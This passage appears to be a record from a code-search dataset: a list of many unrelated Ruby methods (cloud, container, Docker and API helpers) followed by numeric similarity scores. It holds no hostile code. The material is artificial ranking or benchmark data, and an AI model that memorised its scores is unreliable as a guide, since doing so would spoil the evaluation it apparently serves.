configure_chef_provisioners\n chef_provisioners.each { |prov| configure_chef(prov.config) }\n end", "def ebs_volumes\n @ebs_volumes ||= init_ebs_volumes.reject do |vol|\n vol.attachments.any? do |att|\n attached_instance = id_instances[att.instance_id]\n attached_instance.root_device_name == att.device\n end\n end\n end", "def container_images\n add_properties(\n # TODO: (bpaskinc) old save matches on [:image_ref, :container_image_registry_id]\n # TODO: (bpaskinc) should match on digest when available\n # TODO: (mslemr) provider-specific class exists (openshift), but specs fail with them (?)\n :model_class => ::ContainerImage,\n :manager_ref => %i[image_ref],\n :delete_method => :disconnect_inv\n )\n add_common_default_values\n end", "def set_epaper\n @epaper = params[:id] ? Epaper.find(params[:id]) : Epaper.new(epaper_params)\n end", "def reserved_addresses\n IPSet.new(list_addresses.map{|a| a.address.to_host })\n end", "def client_application_tenant_ids=(value)\n @client_application_tenant_ids = value\n end", "def pod_ip=(value)\n @pod_ip = value\n end", "def hosts\n # prevent original array from being changed\n @hosts.dup\n end", "def managed_e_books=(value)\n @managed_e_books = value\n end", "def emotions(*emotions)\n Emotions.configure { |config| config.emotions = emotions }\n end", "def create_volumes(volume_definitions)\n volume_definitions.each { |volume| client.volumes.create(volume) }\n end", "def words_container=(c)\n @@container = c\n end", "def list_preconfigured_expression_sets request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/listPreconfiguredExpressionSets\"\n\n query_string_params = {}\n query_string_params[\"filter\"] = request_pb.filter.to_s if request_pb.filter && request_pb.filter != \"\"\n query_string_params[\"maxResults\"] = request_pb.max_results.to_s if request_pb.max_results && request_pb.max_results != 0\n query_string_params[\"orderBy\"] = request_pb.order_by.to_s if request_pb.order_by && request_pb.order_by != \"\"\n query_string_params[\"pageToken\"] = request_pb.page_token.to_s if request_pb.page_token && request_pb.page_token != \"\"\n query_string_params[\"returnPartialSuccess\"] = request_pb.return_partial_success.to_s if request_pb.return_partial_success && request_pb.return_partial_success != false\n\n response = @client_stub.make_get_request(\n uri: uri,\n params: query_string_params,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::SecurityPoliciesListPreconfiguredExpressionSetsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end", "def set(pod_name)\n Specification::Set.new(pod_name, self)\n end", "def enterprise_proxied_domains=(value)\n @enterprise_proxied_domains = value\n end", "def public_endpoints\n\t\t\t@endpoints.select {|e| e.public_port_name != nil}\n\t\tend", "def all_epsilons\n\t\tget_epsilons nil\n\tend", "def update_lb_servers\n clean_up\n @hosts.each do |host|\n Docker.url = \"tcp://#{host}:#{@docker_port}/\"\n containers = Docker::Container.all(all: true, filters: { ancestor: [@ws_image], status:['running'] }.to_json)\n containers.each do |container|\n port = container.json['HostConfig']['PortBindings']['8070/tcp'][0]['HostPort']\n register_container(host, port, container.id)\n end\n end\n end", "def nodes=(nodes)\n fail Deployment::InvalidArgument, \"#{self}: Nodes should be an array\" unless nodes.is_a? Array\n fail Deployment::InvalidArgument, \"#{self}: Nodes should contain only Node objects\" unless nodes.all? { |n| n.is_a? Deployment::Node }\n @nodes = nodes\n end", "def set_coffee_pod\n @coffee_pod = CoffeePod.find(params[:id])\n end", "def set_epiphany\n @epiphany = Epiphany.find(params[:id])\n end", "def extended_ingredients=(extended_ingredients)\n if !extended_ingredients.nil? && extended_ingredients.length < 0\n fail ArgumentError, 'invalid value for \"extended_ingredients\", number of items must be greater than or equal to 0.'\n end\n\n @extended_ingredients = extended_ingredients\n end", "def target_objects=(value)\n @target_objects = value\n end", "def target_objects=(value)\n @target_objects = value\n end", "def mongo_hosts\n @mongo_hosts\n end", "def set_enfermeras_paciente\n @enfermeras_paciente = EnfermerasPaciente.find(params[:id])\n end", "def patch_containers(containers)\n (containers || Array.new).each do |container|\n if container[\"image\"] =~ /.*velum.*/\n container[\"image\"] = \"sles12/velum:development\"\n container[\"volumeMounts\"] ||= Array.new\n container[\"volumeMounts\"] << {\n \"mountPath\" => \"/srv/velum\",\n \"name\" => \"velum-devel\"\n }\n container[\"env\"] ||= Array.new\n container[\"env\"].each do |env|\n env[\"value\"] = \"development\" if env[\"name\"] == \"RAILS_ENV\"\n end\n\n # Ensure the velum_production db is used, this is what the\n # salt mysql returner is configured to use\n container[\"env\"] << {\n \"name\" => \"VELUM_DB_NAME\",\n \"value\" => \"velum_production\"\n }\n end\n end\nend", "def setParticipants(participants)\r\n\t\t\t\t\t@participants = participants\r\n\t\t\t\tend", "def set_episode\n @episode = Episode.find(params[:id])\n @epis = Episode.find(params[:id])\n end", "def ephemeral?\n identity < 0\n end", "def list_of_instances(keyp=nil)\n tmp_key = (keyp ? keyp : nil)\n \n unless @describe_instances\n tmpInstanceList = remote_base.describe_instances(options).select {|a| a if (tmp_key.nil? || tmp_key.empty? ? true : a[:keypair] == tmp_key) }\n has_master = !tmpInstanceList.select {|a| a[:name] == \"master\" }.empty? \n if has_master\n @describe_instances = tmpInstanceList\n else\n @id = 0\n running = select_from_instances_on_status(/running/, tmpInstanceList)\n pending = select_from_instances_on_status(/pending/, tmpInstanceList)\n terminated = select_from_instances_on_status(/shutting/, tmpInstanceList)\n \n running = running.map do |inst|\n inst[:name] = (@id == 0 ? \"master\" : \"node#{@id}\")\n @id += 1\n inst\n end.sort_by {|a| a[:index] }\n \n @describe_instances = [running, pending, terminated].flatten\n end\n end\n @describe_instances\n end", "def enterprise_i_p_ranges=(value)\n @enterprise_i_p_ranges = value\n end", "def pause_all_alerts\n\n endpoint = '/api/admin/pause-all-alerts'\n logger.debug(\"pause all alerts (POST #{endpoint})\") if @debug\n\n post( endpoint, nil )\n end", "def add_zones zones\n raise \"WARNING: cloudformation doesn't currently support multi-zone Redis ElastiCache!\" if @engine =~ /redis/i\n raise \"Must specify list of preferred zones\" if zones.nil? or zones.empty?\n\n # set AZ mode\n add_property :AZMode, 'cross-az'\n \n # make sure we don't overwrite existing zones\n if @properties[:PreferredAvailabilityZones].nil? or @properties[:PreferredAvailabilityZones].empty?\n @properties[:PreferredAvailabilityZones] = []\n end\n\n # add zones to list\n @properties[:PreferredAvailabilityZones] += zones\n \n # set correct number of nodes\n @num_nodes = @properties[:PreferredAvailabilityZones].size\n end" ]
[ "0.64774215", "0.55380553", "0.48167664", "0.4680562", "0.44575647", "0.44331056", "0.44293505", "0.4305809", "0.42976215", "0.42909667", "0.42610446", "0.42297187", "0.41875792", "0.41623524", "0.4154813", "0.41231385", "0.4112073", "0.4110572", "0.40862584", "0.40834674", "0.40764004", "0.40764004", "0.4069659", "0.4068806", "0.40518135", "0.40506065", "0.40450263", "0.40436938", "0.4017846", "0.4005768", "0.39940494", "0.39647096", "0.39570555", "0.39499813", "0.39409867", "0.3932607", "0.3931709", "0.39259273", "0.39221078", "0.39184773", "0.39175466", "0.38995475", "0.38944274", "0.38887656", "0.3887889", "0.38820225", "0.3879432", "0.38761333", "0.3865293", "0.38625893", "0.38559413", "0.38512892", "0.3845226", "0.38434547", "0.38394514", "0.38347033", "0.38158605", "0.38055897", "0.37932265", "0.3792811", "0.3782142", "0.37736782", "0.3772594", "0.3768349", "0.37650743", "0.37581837", "0.37581673", "0.3740072", "0.37378362", "0.37358966", "0.37225485", "0.37217906", "0.3716796", "0.37102103", "0.37099615", "0.3708481", "0.37036103", "0.36984134", "0.36951", "0.36947855", "0.36913827", "0.36821908", "0.36787304", "0.36744207", "0.3669842", "0.36662573", "0.3658633", "0.36537483", "0.3653099", "0.3653099", "0.36526525", "0.36517388", "0.36448738", "0.36410543", "0.36383677", "0.36283797", "0.3627778", "0.36250797", "0.36245805", "0.36237228" ]
0.8154758
0